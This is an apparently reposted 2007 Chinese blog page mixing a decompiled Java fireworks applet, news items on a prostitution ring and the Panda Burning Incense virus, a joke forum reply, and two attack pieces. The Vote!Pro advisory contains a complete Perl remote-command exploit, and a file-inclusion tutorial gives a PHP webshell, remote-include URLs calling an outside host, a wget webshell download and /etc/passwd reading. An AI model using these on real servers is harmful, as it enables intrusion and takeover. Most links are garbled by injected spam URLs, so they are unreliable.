老婆，起床啦　劲哥哥

2007 - 1
日	一	二	三	四	五	六
	1	2	3	4	5	6
7	8	9	10	11	12	13
14	15	16	17	18	19	20
21	22	23	24	25	26	27
28	29	30	31
«月»	2007 - 1	«年»

日志文章列表

2007年01月29日 15:49:44

以下为.class的代码

改成：烟火在打开index.htm后能随机，在各个不同的位置自动施放（最好是过10秒钟后自动施放）

Copy code

// Decompiled by Jad v1.5.8f. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.sms55.cn/reg.htm[/url]plaodj.91.tc/yanhua.htm
// Decompiler options: packimports(3)
// Source File Name: jhanabi.java

/*

<applet height=200 width=800 align=middle code=jhanabi.class>
<param name="para_bits" value="10000">
<param name="para_max" value="150">
<param name="para_blendx" value="50">
<param name="para_blendy" value="50">
<param name="para_sound" value="2">
<param name="width" value="650">
<param name="align" value="baseline">
<param name="code" value="jhanabi.class">
<param name="codeBase" value="./">
<param name="height" value="270">
</applet>

*/

import java.applet.Applet;
import java.applet.AudioClip;
import java.awt.*;
import java.awt.p_w_picpath.MemoryImageSource;
import java.util.Random;

public class jhanabi extends Applet
implements Runnable
{

public jhanabi()
{
m_mouseX = 0;
m_mouseY = 0;
m_sleepTime = 5;
isError = false;
isInitialized = false;
rand = new Random();
bits = 10000;
bit_px = new double[bits];
bit_py = new double[bits];
bit_vx = new double[bits];
bit_vy = new double[bits];
bit_sx = new int[bits];
bit_sy = new int[bits];
bit_l = new int[bits];
bit_f = new int[bits];
bit_p = new int[bits];
bit_c = new int[bits];
ru = 50;
rv = 50;
}

public void init()
{
String s = getParameter("para_bits");
if(s != null)
bits = Integer.parseInt(s);
s = getParameter("para_max");
if(s != null)
bit_max = Integer.parseInt(s);
s = getParameter("para_blendx");
if(s != null)
ru = Integer.parseInt(s);
s = getParameter("para_blendy");
if(s != null)
rv = Integer.parseInt(s);
s = getParameter("para_sound");
if(s != null)
bit_sound = Integer.parseInt(s);
m_nAppX = size().width;
m_nAppY = size().height;
m_centerX = m_nAppX / 2;
m_centerY = m_nAppY / 2;
m_mouseX = m_centerX;
m_mouseY = m_centerY;
resize(m_nAppX, m_nAppY);
pixls = m_nAppX * m_nAppY;
pixls2 = pixls - m_nAppX * 2;
pix0 = new int[pixls];
offImage = new MemoryImageSource(m_nAppX, m_nAppY, pix0, 0, m_nAppX);
offImage.setAnimated(true);
dbImg = createImage(offImage);
for(int i = 0; i < pixls; i++)
pix0 = 0xff000000;

sound1 = getAudioClip(getDocumentBase(), "firework.au");
sound2 = getAudioClip(getDocumentBase(), "syu.au");
for(int j = 0; j < bits; j++)
bit_f[j] = 0;

isInitialized = true;
start();
}

public void run()
{
while(!isInitialized)
try
{
Thread.sleep(200L);
}
catch(InterruptedException interruptedexception) { }
do
{
for(int j = 0; j < pixls2; j++)
{
int k = pix0[j];
int l = pix0[j + 1];
int i1 = pix0[j + m_nAppX];
int j1 = pix0[j + m_nAppX + 1];
int i = (k & 0xff0000) >> 16;
int k1 = ((((l & 0xff0000) >> 16) - i) * ru >> 8) + i;
i = (k & 0xff00) >> 8;
int l1 = ((((l & 0xff00) >> 8) - i) * ru >> 8) + i;
i = k & 0xff;
int i2 = (((l & 0xff) - i) * ru >> 8) + i;
i = (i1 & 0xff0000) >> 16;
int j2 = ((((j1 & 0xff0000) >> 16) - i) * ru >> 8) + i;
i = (i1 & 0xff00) >> 8;
int k2 = ((((j1 & 0xff00) >> 8) - i) * ru >> 8) + i;
i = i1 & 0xff;
int l2 = (((j1 & 0xff) - i) * ru >> 8) + i;
int i3 = ((j2 - k1) * rv >> 8) + k1;
int j3 = ((k2 - l1) * rv >> 8) + l1;
int k3 = ((l2 - i2) * rv >> 8) + i2;
pix0[j] = i3 << 16 | j3 << 8 | k3 | 0xff000000;
}

rend();
offImage.newPixels(0, 0, m_nAppX, m_nAppY);
try
{
Thread.sleep(m_sleepTime);
}
catch(InterruptedException interruptedexception1) { }
} while(true);
}

public void update(Graphics g)
{
paint(g);
}

public void paint(Graphics g)
{
g.drawImage(dbImg, 0, 0, this);
}

public void start()
{
if(isError)
return;
isRunning = true;
if(runner == null)
{
runner = new Thread(this);
runner.start();
}
}

public void stop()
{
if(runner != null)
{
runner.stop();
runner = null;
}
}

public boolean mouseMove(Event event, int i, int j)
{
m_mouseX = i;
m_mouseY = j;
return true;
}

public boolean mouseDown(Event event, int i, int j)
{
m_mouseX = i;
m_mouseY = j;
int k = (int)(rand.nextDouble() * 256D);
int l = (int)(rand.nextDouble() * 256D);
int i1 = (int)(rand.nextDouble() * 256D);
int j1 = k << 16 | l << 8 | i1 | 0xff000000;
int k1 = 0;
for(int l1 = 0; l1 < bits; l1++)
{
if(bit_f[l1] != 0)
continue;
bit_px[l1] = m_mouseX;
bit_py[l1] = m_mouseY;
double d = rand.nextDouble() * 6.2800000000000002D;
double d1 = rand.nextDouble();
bit_vx[l1] = Math.sin(d) * d1;
bit_vy[l1] = Math.cos(d) * d1;
bit_l[l1] = (int)(rand.nextDouble() * 100D) + 100;
bit_p[l1] = (int)(rand.nextDouble() * 3D);
bit_c[l1] = j1;
bit_sx[l1] = m_mouseX;
bit_sy[l1] = m_nAppY - 5;
bit_f[l1] = 2;
if(++k1 == bit_max)
break;
}

if(bit_sound > 1)
sound2.play();
return true;
}

public boolean mouseExit(Event event, int i, int j)
{
m_mouseX = i;
m_mouseY = j;
return true;
}

void rend()
{
boolean flag = false;
boolean flag1 = false;
boolean flag2 = false;
for(int k = 0; k < bits; k++)
switch(bit_f[k])
{
default:
break;

case 1: // '001'
bit_vy[k] += rand.nextDouble() / 50D;
bit_px[k] += bit_vx[k];
bit_py[k] += bit_vy[k];
bit_l[k]--;
if(bit_l[k] == 0 || bit_px[k] < 0.0D || bit_py[k] < 0.0D || bit_px[k] > (double)m_nAppX || bit_py[k] > (double)(m_nAppY - 3))
{
bit_c[k] = 0xff000000;
bit_f[k] = 0;
} else
if(bit_p[k] == 0)
{
if((int)(rand.nextDouble() * 2D) == 0)
bit_set((int)bit_px[k], (int)bit_py[k], -1);
} else
{
bit_set((int)bit_px[k], (int)bit_py[k], bit_c[k]);
}
break;

case 2: // '002'
bit_sy[k] -= 5;
if((double)bit_sy[k] <= bit_py[k])
{
bit_f[k] = 1;
flag2 = true;
}
if((int)(rand.nextDouble() * 20D) == 0)
{
int i = (int)(rand.nextDouble() * 2D);
int j = (int)(rand.nextDouble() * 5D);
bit_set(bit_sx[k] + i, bit_sy[k] + j, -1);
}
break;
}

if(flag2 && bit_sound > 0)
sound1.play();
}

void bit_set(int i, int j, int k)
{
int l = i + j * m_nAppX;
pix0[l] = k;
}

private int m_nAppX;
private int m_nAppY;
private int m_centerX;
private int m_centerY;
private int m_mouseX;
private int m_mouseY;
private int m_sleepTime;
private boolean isError;
private boolean m_isPaintFinished;
boolean isRunning;
boolean isInitialized;
Thread runner;
int pix0[];
MemoryImageSource offImage;
Image dbImg;
int pixls;
int pixls2;
Random rand;
int bits;
double bit_px[];
double bit_py[];
double bit_vx[];
double bit_vy[];
int bit_sx[];
int bit_sy[];
int bit_l[];
int bit_f[];
int bit_p[];
int bit_c[];
int bit_max;
int bit_sound;
int ru;
int rv;
AudioClip sound1;
AudioClip sound2;
}

类别：无分类 | 评论(0) | 浏览(5966) | 收藏

2007年01月29日 15:22:57

秘密花园(http://www.sms55.cn/reg.htmwww.lili.cc/[/url])是国内优秀的个人网站之一，每个页面均是情、趣、艺的结合。其中，网页特效之浪漫烟花——一只机灵的小狗陪伴着天真的小女孩，在晚霞将尽之时，期盼着烟花的出现。用鼠标点击夜空，便会从地平线上打出一个火球，火球在天空中爆开，五颜六色，慢慢散开，慢慢消逝。有优美的音乐伴奏，烟花爆开时还有“砰——”的声音。太美了！

　　有的网站是将文字加上链接直接指向秘密花园的浪漫烟花网页的。我是一个网页制作爱好者，我想这样做有失风度。一般网页“另存为……”便可将其下载，
可浪漫烟花网页在屏幕上只显示一个光秃秃的窗口，没有菜单栏，没有工具栏，鼠标右键单击也不出现便捷菜单，果然秘密，要摘取这朵烟花不容易。我几经周折才下载到其正常运行所需的全部文件，做法如下，供大家参考。

　　第一回，下载浪漫烟花网页文件。登录秘密花园站点，用鼠标指向提供了浪漫烟花链接的文字，状态栏上便显示出其地址http://www.sms55.cn/reg.htmwww.lili.cc/welcome/java/yanhua.htm[/url]，记住它备用。启动网络蚂蚁，点击工具栏上的“添加新任务”图标，在URL中键入上面的地址，确定后，浪漫烟花的网页文件yanhua.htm便被下载了。运行它，没有出现放烟花的场景，说明文件不全。

　　第二回，下载与浪漫烟花网页文件关联的文件。这里直接用网络蚂蚁比较方便，启动网络蚂蚁，点击工具栏上的“处理网页文件”图标，在文件名中输入浪漫烟花网页文件地址，打开，在出现的“添加多个任务”窗口中列出了两个文件，一个是7.mid，另一个是yanhua.jpg，将两个文件选中，确定后，两个文件就下载到了。运行yanhua.htm，有了背景音乐和背景图片，但仍然放不了烟花，说明文件仍然不全。

　　第三回，下载Java程序源文件。用FrontPage打开yanhua.htm分析，发现里面有个Java程序。双击Java程序图标，打开其属性对话框，从中可查看到Java程序源文件名为jhanabi.class，就是缺少这个文件，并估计到它的地址是http://www.sms55.cn/reg.htmwww.lili.cc/welcome/java/jhanabi.class[/url]。用第一回的方法，果然下载到了此文件。运行yanhua.htm，可以放烟花了，可是烟花爆开时没有“砰——”的声音，还是缺少文件。

　　第四回，下载“砰——”声音文件。在Java小程序属性对话框中，没有关于声音的选项或参数，看不出缺少的声音文件名。用记事本打开jhanabi.class，有些乱码，不过还是能看出一些东西来，查找“.wav”，没有发现，查找“.mid”，还是没有发现，查找“.au”，有啦，发现一个名为firework.au的文件，估计就是它，其地址可能是www.lili.cc/welcome/java/firework.au，用第一回的方法，果然将其下载到。运行yanhua.htm，OK！一切正常。

　　可见，浪漫烟花的文件共有五个：yanhua.htm、yanhua.jpg、7.mid、firework.au和jhanabi.class，缺一不可，它们的关系比较复杂，怪不得不能一次性下载完全。更换图片、声音文件或设置Java小程序中的参数，可以制作出更多景象的烟花来。我的站点http://www.sms55.cn/reg.htmplaodj.91.tc/yanhua.htm[/url]上放置着的四个特效都是用上述方法从秘密花园站点下载并作了适当修改而成的。

　　后注：有个软件叫Anfy，是专门制作Java网页特效的，注册费很高，要几百美元，不注册的话，你的网页发布后，点击Java特效，便会出现不想看到的东西。

类别：无分类 | 评论(0) | 浏览(6845) | 收藏

2007年01月29日 14:54:00

最大网络QQ招嫖团伙落网通过QQ、博客留言卖淫

通过QQ网上招嫖警方现场抓获151人

　　一个盘踞在北京城南地区，利用互联网大肆进行招嫖、卖淫活动的特大犯罪团伙被警方捣毁，警方现场抓获涉案人员151人，团伙主要成员全部落网。昨日，市公安局治安管理总队通报了本市冬季“飓风”治安专项打击行动的成果，此案是近5年来破获的组织最严密、涉案人员最多的网络招嫖案。

　　网上发裸照诱人上钩

　　“琪琪，20岁，肤白身材好，服务一流，有意请致电8636????。”2006年12月，市公安局治安管理总队在日常工作中发现4条类似的网上招嫖信息，网页留的是小灵通电话，上面还贴有xxxx女子的照片。警方判断这些都是通过互联网QQ、聊天室、博客留言等形式发布的卖淫信息。

　　招嫖信息都要求先与卖淫女通过小灵通联系并谈好价格，卖淫窝点都位于丰台区木樨园桥附近的一高档小区内。小区设施完善，卖淫女可以在房间里监控嫖客的行踪。警方对比这4条信息，发现招嫖信息的内容、发送手法、界面设置、招嫖用语等关键点都极为相似。后通过侦查发现，所有的招嫖信息都是从丰台区西罗园附近的一个网吧内发出来的。每天早8时开始至晚10时，二十余名外地男子在该网吧内专门进行网上博客发帖、QQ聊天发布卖淫信息。他们申请QQ号码，编造莉莉、芳芳等女孩名字注册，将富有挑逗性的语言写在QQ的个人介绍栏内，并专门在网上搜寻男性的QQ用户加为好友，并留下贴有xxxx女子照片的博客地址和小灵通号码，以期获取到此信息的人员能够主动与其联系，进而进行卖淫活动。

　　警方最后确认，这是一个通过网络发送招嫖信息，组织卖淫活动猖獗的团伙，他们盘踞在丰台区西罗园一带，地跨丰台、崇文、朝阳三个城区。

　　300多民警出动抓捕

　　进一步的侦查让警方很吃惊：这个团伙共有18个涉案窝点。1月16日早上，治安管理总队会同丰台警方共300多名民警，分成18个小组，埋伏在18个卖淫窝点外，对涉嫌嫖娼的人员进行秘密抓捕。当天，所有进入卖淫窝点的男子均被扣留审查。

　　与此同时，5名民警埋伏在网吧门口。网吧内的侦查员已经预先坐在涉案人员旁边。因为电脑一旦关机，所有的聊天记录都将自动删除，所以抓捕时间仅有二三秒钟。在掌握作案证据后，民警迅速控制了在网吧上网的60多名涉案人员。

　　当天，警方现场抓获涉案人员151人。其中，团伙主要成员雷勇、郑祥海、黄祥辉、李涛、刘平等5人全部落网，同时还抓获涉嫌组织及协助组织卖淫人员63人，涉嫌卖淫人员38人，涉嫌嫖娼人员45人。目前，警方已刑事拘留23人，治安拘留100人，其他处理28人。

　　卖淫女被定工作量

　　这是一个组织严密、分工明确的招嫖团伙。专门发布招嫖信息的20多人大多暂住于网吧南侧西罗园某小区一栋居民楼的地下室，而卖淫窝点都在高档住宅区，地址以网吧为中心沿南三环“扩张”。据统计，该团伙租住公寓或小区楼房等居室作为其进行卖淫活动的窝点共有16个。每个窝点有卖淫女1至5名不等，她们以电话为联系方式，在窝点中负责接听嫖客的电话并指引嫖客前来嫖娼。同时，侦查员通过蹲守发现，有4名男子在网吧及卖淫窝点间活动频繁，且曾在网吧内给负责发布招嫖信息的人员发“工资”。据了解，发布招嫖信息的人员每人每天能领到200至300元不等的“工资”。

　　该团伙反侦查和防范意识极强，他们中的为首者在窝点招揽嫖客的时间里从不涉足窝点，在招嫖联系电话中不暴露卖淫地点，且同一时间同一窝点只接待一名嫖客。同时他们还以派专人在卖淫窝点周边放哨，在楼房居室向外观望等多种手段逃避警方打击。

　　在西罗园某网吧，他们为网络招嫖人员办理了上网会员卡，同时他们还规定每个卖淫窝点卖淫小姐每天卖淫的次数，并从中“抽头”。平时他们在网吧监督招嫖人员进行招嫖活动，并每天付给招嫖人员报酬。同时，还串通外号“花医生”的老乡赵某为卖淫人员提供避孕工具等物品。

　　本案中众多涉案人员主要是由雷勇、郑祥海、黄祥辉、李涛、刘平等5人以给付报酬、包吃、包住等方式，在湖北老家招募来京进行网络招嫖和卖淫活动的。

　　警方表示，目前正在对该案中的16名违法出租房进行审查，对两名网吧经营者和部分网站管理人员进行审查，如果存在违法事实，公安机关将对其进行严肃处理。

类别：无分类 | 评论(0) | 浏览(6321) | 收藏

2007年01月25日 13:10:56

Vote!Pro eval()调用代码注入漏洞

受影响系统：
Vote! Pro Vote! Pro 4.0
描述：
--------------------------------------------------------------------------------
Vote!Pro是一个可以自定义的在线投票和调查程序。

Vote!Pro处理有用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

Vote!Pro的poll_frame.php文件没有正确地过滤eval()调用所使用的poll_id参数，允许攻击者通过提交特制的参数值注入并执行任意PHP代码。

<*来源：r0ut3r （writ3r@gmail.com）

链接：http://www.sms55.cn/reg.htmsecunia.com/advisories/23834/[/url]
*>

测试方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#################################################################################################
# r0ut3r Presents... #
# #
# Another r0ut3r discovery! #
# writ3r [at] gmail.com #
# #
# Vote-Pro Code Injection 0day Exploit #
#################################################################################################
# Software: Vote-Pro 4.0 #
# #
# Vendor: http://www.sms55.cn/reg.htmwww.vote-pro.com/[/url] #
# #
# Released: 2007/01/23 #
# #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com) #
# #
# Note: The information provided in this document is for Vote-Pro administrator #
# testing purposes only! #
#################################################################################################

use IO::Socket;

$port = "80"; # connection port
$target = shift; # vote-pro.com
$folder = shift; # /votepro/

sub Header()
{
print q
{Vote-Pro Code Injection Exploit - writ3r [at] gmail.com
-------------------------------------------------------
};
}

sub Usage()
{
print q
{
Usage: votecmd.pl [target] [directory]
Example: votecmd.pl vote-pro.com /votepro/
};
exit();
}

Header();

if (!$target || !$folder) {
Usage(); }

print "[+] Connecting...\n";
$cmd = "dir";
while ($cmd !~ "exit")
{
$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $xpack "GET ".$folder."poll_frame.php?poll_id=hyphy;system($_GET[com]);&com=".substr($cmd, 0, -1)."; HTTP/1.1\n";
print $xpack "Host: $target\n";
print $xpack "User-Agent: Googlebot/2.1 (+http://www.sms55.cn/reg.htmwww.google.com/bot.html[/url])\n";
print $xpack "Accept: text/html\n";
print $xpack "Connection: keep-alive\n\n";

print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
}

print "[!] Connection to host lost...\n";

建议：
--------------------------------------------------------------------------------
厂商补丁：

Vote! Pro
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sms55.cn/reg.htmwww.vote-pro.com/[/url]

类别：无分类 | 评论(0) | 浏览(8382) | 收藏

2007年01月25日 13:10:07

网友悬赏10万美金，通缉“熊猫烧香”病毒作者

　　近日，“熊猫烧香”病毒横行互联网，超过百万网民受到不同程度侵害。记者在百度“熊猫烧香”贴吧看到，已有中毒的网友愤怒地发帖，声明愿出10万美金通缉“熊猫烧香”作者。更有一网吧业主出离愤怒，由于他的两个连锁网吧大厅以及包厢内的900多台电脑全体瘫痪，直接损失30多万元，该业主甚至“杀人的心都有”。

　　江民反病毒中心工程师介绍，上周江苏淮安市市民周先生以及宋先生向江民反病毒中心求助，他们电脑同一日遭到“熊猫烧香”病毒攻击，所有可执行文件变成了“熊猫烧香”图案，许多重要的技术资料被病毒修改无法使用。同时，宋先生也反映他周围有许多朋友也同样感染了该病毒，机器运行特别缓慢，许多公司的局域网则彻底瘫痪，公司业务陷入停顿，直接和间接损失十分严重。江民计算机病毒预警中心监测的数据发现，江苏以及广东、山东是此次“熊猫烧香”病毒疫情的重灾区。

　　据江民反病毒专家介绍，“熊猫烧香”病毒从去年12月份被初步发现有大规模爆发的迹象，当时江民科技发布了病毒紧急警报，而一周后国家计算机病毒应急中心也发布了病毒预警，可惜两次病毒警报并没有引起人们的足够重视，“熊猫烧香”病毒以超乎想象的速度迅速蔓延。从1月上旬开始，百度搜索引擎上关于“熊猫烧香”病毒搜索数量急剧上升，上周已经进入百度搜索热点排名前20位，每天这一关键词被搜索达数万次，超过“超级女生”的排名。

　　据专家介绍，目前该病毒仍然在不断变种。前不久，病毒作者似乎良心发现，曾经在一个变种源文件中发表声明，表示以后将不再出新变种了，然而事后病毒变种仍然不断出现。专家提醒广大电脑用户仍然需要严加防范。

　　针对该病毒，目前国内所有主流杀毒厂商都已经拿出防范方案。江民科技在网站上提供了免费专杀工具以及免费的杀毒软件，需要的电脑用户可以登陆该公司网站下载，以防受到“熊猫烧香”侵害。

类别：无分类 | 评论(0) | 浏览(6595) | 收藏

2007年01月17日 16:40:15

包含文件漏洞详解

首先，我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包含漏洞"？回答是：服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可去包含一个恶意文件，而我们可以构造这个恶意文件来达到邪恶的目的。几乎所有的cgi程序都有这样的 bug，只是具体的表现方式不一样罢了。

一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕

include() && require()语句:包括并运行指定文件。

这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说，如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样，脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活（默认配置），也可以用 URL（通过 HTTP 或者其它支持的封装协议）而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释，则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
详细参考：http://www.sms55.cn/reg.htmwww.phpe.net/manual/function.include.php[/url]

require_once()　＆＆　include_once()
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似，唯一区别是如果该文件中的代码已经被包括了，则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下，你想确保它只被包括一次以避免函数重定义，变量重新赋值等问题。
详细参考：http://www.sms55.cn/reg.htmwww.phpe.net/manual/function.require-once.php[/url]

二、为什么要包含文件

程序员写程序的时候，不喜欢干同样的事情，也不喜欢把同样的代码（比如一些公用的函数）写几次，于是就把需要公用的代码写在一个单独的文件里面，比如 share.php，而后在其它文件进行包含调用。在php里，我们就是使用上面列举的那几个函数来达到这个目的的，它的工作流程：如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的，然后就可以使用share.php中的函数了，像这个写死需要包含的文件名称的自然没有什么问题，也不会出现漏洞，那么问题到底是出在哪里呢？
有的时候可能不能确定需要包含哪个文件，比如先来看下面这个文件index.php的代码：
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if ($_GET[page]) {
include $_GET[page];
} else {
include "home.php";
}
很正常的一段PHP代码，它是怎么运作的呢？这里面涉及到$_GET的意义，我就不打算讲了（要不又能写篇HTTP的文章了），如果你还不了解GET，POST,等，那么你需要再Google一些相关的资料好好补一补了。
上面这段代码的使用格式可能是这样的：http://www.sms55.cn/reg.htmwww.1steam.cn/php/index.php?page=main.php[/url]或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码，简单说下怎么运作的：
1.提交上面这个URL，在index.php中就取得这个page的值（$_GET[page]）。
2.判断$_GET[page]是不是空，若不空（这里是main.php）就用include来包含这个文件。
3.若$_GET[page]空的话就执行else，来include　home.php　这个文件。

三、为什么会产生漏洞

你也许要说，这样很好呀，可以按照URL来动态包含文件，多么方便呀，怎么产生漏洞的呢？问题的答案是：我们不乖巧，我们总喜欢和别人不一样，我们不会按照他的链接来操作，我们可能想自己写想包含（调用）的文件，比如我们会随便的打入下面这个URL：http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得步骤去执行：取page为hello.php，然后去include(hello.php)，这时问题出现了，因为我们并没有hello.php这个文件，所以它 include的时候就会报警告，类似下列信息：

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3

注意上面的那个Warning就是找不到我们指定的hello.php文件，也就是包含不到我们指定路径的文件；而后面的警告是因为前面没有找到指定文件，所以包含的时候就出警告了。

四、怎么利用

上面可以看到，问题出现了，那么我们怎么利用这样的漏洞呢，利用方法其实很多，但是实质上都是差不多的，我这里说三个比较常见的利用方法：

1.包含读出目标机上其它文件

由前面我们可以看到，由于对取得的参数page没有过滤，于是我们可以任意指定目标主机上的其它敏感文件，例如在前面的警告中，我们可以看到暴露的绝对路径(vhost/wwwroot/php/)，那么我们就可以多次探测来包含其它文件，比如指定URL为：http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件，也可以使用.. /../进行目录跳转（在没过滤../的情况下）；也可以直接指定绝对路径，读取敏感的系统文件，比如这个URL：http: //www.1steam.cn/php/index.php?page=/etc/passwd ，如果目标主机没有对权限限制的很严格，或者启动 Apache的权限比较高，是可以读出这个文件内容的。否则就会得到一个类似于：open_basedir restriction in effect.的Warning。

2.包含可运行的PHP木马

如果目标主机的"allow_url_fopen"是激活的（默认是激活的，没几个人会修改），我们就可以有更大的利用空间，我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行，比如，我先写一段运行命令的PHP代码（加了注释，应该看得懂），如下保存为cmd.txt（后缀不重要，只要内容为PHP格式就可以了）。
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}　//去掉转义字符（可去掉字符串中的反斜线字符）
ini_set("max_execution_time",0);　//设定针对这个文件的执行时间，0为不限制.
echo "
1.S.T
";　　　　　　//打印的返回的开始行提示信息
passthru($_REQUEST["cmd"]);　　　//运行cmd指定的命令
echo "
1.S.T
";　　　　　　//打印的返回的结束行提示信息
?>
以上这个文件的作用就是接受cmd指定的命令，并调用passthru函数执行，把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上（可以是不支持PHP的主机），只要能通过HTTP访问到就可以了，例如地址如下：http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了：http: //www.1steam.cn/php/index.php?page=http://www.sms55.cn/reg.htm[/url]www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令，其它常用的命令（以*UNIX为例）如下：

Quote:
ll 列目录、文件（相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget　下载指定URL的文件

等等其它的，你主机去BAIDU找吧，就不列举了。
上面的方法就是得到一个Webshell了（虽然这个PHP文件不在目标机上，但是它确实是个Webshell，不是么？呵呵）

3.包含一个创建文件的PHP文件

也许有的人认为还是得到目标机上的一个真实的Webshell比较放心，万一哪天人家发现这儿个包含漏洞修补了，我们就不能再远程包含得到上面的那个"伪 "Webshell了，不是么？可以理解这个心态，我们继续。得到一个真实的Webshell，我们也说两种常见的方法：

1)使用wget之类的命令来下载一个Webshell

这个比较简单，也很常用，在上面我们得到的那个伪webshell中，我们可以执行命令，那么我们也可以调用系统中的一个很厉害的角色，wget，这个命令的强大你可以google下，参数一大堆，绝对搞晕你，呵呵，我们不需要那么复杂，我们就使用一个-O（--output-document=FILE，把文档写到FILE文件中）就可以了，呵呵。
前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方，比如：http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL：http://www.sms55.cn/reg.htmwww.1steam.cn/php/index.php?page=http://www.sms55.cn/reg.htm[/url]www.1ster.cn/cmd.txt?[/url] cmd=wget http://www.sms55.cn/reg.htmwww.1ster.cn/1stphp.txt[/url] -O 1stphp.php ，如果当前目录可写，就能得到一个叫做1stphp.php的Webshell了；如果当前目录不可写，还需要想其它的办法。

2）使用文件来创建

前面的wget可能会遇到当前目录不能写的情况；或者目标主机禁用了（或者没装）这个命令，我们又需要变通一下了，我们可以结合前面的包含文件漏洞来包含一个创建文件（写文件）的PHP脚本，内容如下：
CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

$f=file_get_contents("http://www.sms55.cn/reg.htmwww.1ster.cn/1stphp.txt[/url]"); //打开指定路径的文件流
$ff=fopen("./upload/1st.php","a"); 　　　　//寻找一个可以的目录，创建一个文件
fwrite ($ff,$f); 　//把前面打开的文件流写到创建的文件里
fclose($ff); 　　　//关闭保存文件
?>
还是写入我们上面用wget下载的那个php文件，但是我们改进了方法，用PHP脚本来实现，可以使用上面的cmd.php?cmd=ll查找可以写的目录，比如这里的upload，然后把文件创建在这个目录下：./upload/1st.php。然后就得到我们的Webshell了。

五、后话

其实到这里我们的这个分专题就可以结束了，最后再唠叨几句，文件包含漏洞基本上算比较简单但是危象系数很高的漏洞，在很多系统中还是存在的，只要细心一点，可以发现很多的。利用起来过程比较灵活，要擅于针对问题进行分析，找出解决的办法，就能慢慢进步。
漏洞涉及的知识很多，不能一一涉及，没说清除的地方，欢迎发问，或者自己去Google解决。时间匆忙，描述不妥之处还望大家指正修订！
最后，这样的东西需要多实践，等有时间，我会找个具体的例子来把这个流程走一遍，以使大家有深刻的认识；你也可以现在就去找找看，发现什么漏洞，希望能把自己比较详细的分析和利用过程在这与大家分享！1st祝你进步。

作者：天马行空{1.S.T}

=============

类别：无分类 | 评论(0) | 浏览(6495) | 收藏

2007年01月17日 16:18:32

有史以来的最强回贴~

看了楼主的帖子,不由得精神为之一振

看了楼主的帖子,不由得精神为之一振,自觉七经八脉为之一畅,七窍倒也开了六巧半,自古英雄出少年,楼主年纪轻轻,就有经天纬地之才,定国安邦之智,古人云,卧龙凤雏得一而安天下,而今,天佑我大中华,沧海桑田5000年,中华神州平地一声雷,飞沙走石,大舞迷天,朦胧中,只见顶天立地一金甲天神立于天地间,这人英雄手持双斧,二目如电,一斧下去,混沌初开,二斧下去,女娲造人,三斧下去,小生倾倒.得此大英雄,实耐之幸也,民之福也,怎不叫人喜极而泣.......古人有少年楼主说为证,少年之楼主如红日初升，其道大光；河出伏流，一泻汪洋；潜龙腾渊，鳞爪飞扬；乳虎啸谷，百兽震惶；鹰隼试翼，风尘吸张；奇花初胎，皇皇；干将发硎，有作其芒；天戴其苍，地履其黄；纵有千古，横有八荒；小生对楼主之仰慕如滔滔江水连绵不绝,海枯石烂,天崩地裂,永不变心.
看完楼主的帖子，我的心情竟是久久不能平静。正如老子所云：大音希声，大象无形。我现在终于明白我缺乏的是什么了，正是楼主那种对真理的执着追求和楼主那种对理想的艰苦实践所产生的厚重感。面对楼主的帖子，我震惊得几乎不能动弹了，楼主那种裂纸欲出的大手笔，竟使我忍不住一次次地翻开楼主的帖子，每看一次，赞赏之情就激长数分，我总在想，是否有神灵活在它灵秀的外表下，以至能使人三月不知肉味，使人有余音绕梁、三日不绝的感受。楼主，你写得实在是太好了。我惟一能做的，就只有把这个帖子顶上去这件事了。
